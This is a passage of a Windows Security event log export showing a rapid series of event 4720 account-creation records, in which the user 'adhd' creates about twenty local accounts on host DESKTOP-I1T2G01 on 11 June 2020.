%%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Mark - adhd - - - 4720 - 4573 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.3428157Z'/><EventRecordID>4573</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Gloria</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1088</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Gloria</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Gloria - adhd - - - 4720 - 4567 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.2579084Z'/><EventRecordID>4567</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Joe</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1087</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Joe</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Joe - adhd - - - 4720 - 4561 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.1788070Z'/><EventRecordID>4561</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Patrick</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1086</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Patrick</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Patrick - adhd - - - 4720 - 4555 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.0354107Z'/><EventRecordID>4555</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kelly</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1085</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kelly</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kelly - adhd - - - 4720 - 4549 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.9488433Z'/><EventRecordID>4549</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Nicole</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1084</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Nicole</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Nicole - adhd - - - 4720 - 4543 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.8591097Z'/><EventRecordID>4543</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Willie</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1083</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Willie</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Willie - adhd - - - 4720 - 4537 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.7795675Z'/><EventRecordID>4537</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Eugene</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1082</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Eugene</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Eugene - adhd - - - 4720 - 4531 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.6924791Z'/><EventRecordID>4531</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jeremy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1081</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jeremy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jeremy - adhd - - - 4720 - 4525 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.6229868Z'/><EventRecordID>4525</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Wayne</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1080</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Wayne</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Wayne - adhd - - - 4720 - 4519 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.5394312Z'/><EventRecordID>4519</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Laura</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1079</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Laura</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Laura - adhd - - - 4720 - 4513 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.4485911Z'/><EventRecordID>4513</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Eric</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1078</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Eric</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Eric - adhd - - - 4720 - 4507 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.3566128Z'/><EventRecordID>4507</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Russell</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1077</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Russell</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Russell - adhd - - - 4720 - 4501 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.2681686Z'/><EventRecordID>4501</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>John</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1076</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>John</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - John - adhd - - - 4720 - 4495 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.1928884Z'/><EventRecordID>4495</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jesse</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1075</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jesse</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jesse - adhd - - - 4720 - 4489 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:58.0753878Z'/><EventRecordID>4489</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Alan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1074</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Alan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Alan - adhd - - - 4720 - 4483 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:57.9910471Z'/><EventRecordID>4483</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Walter</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data 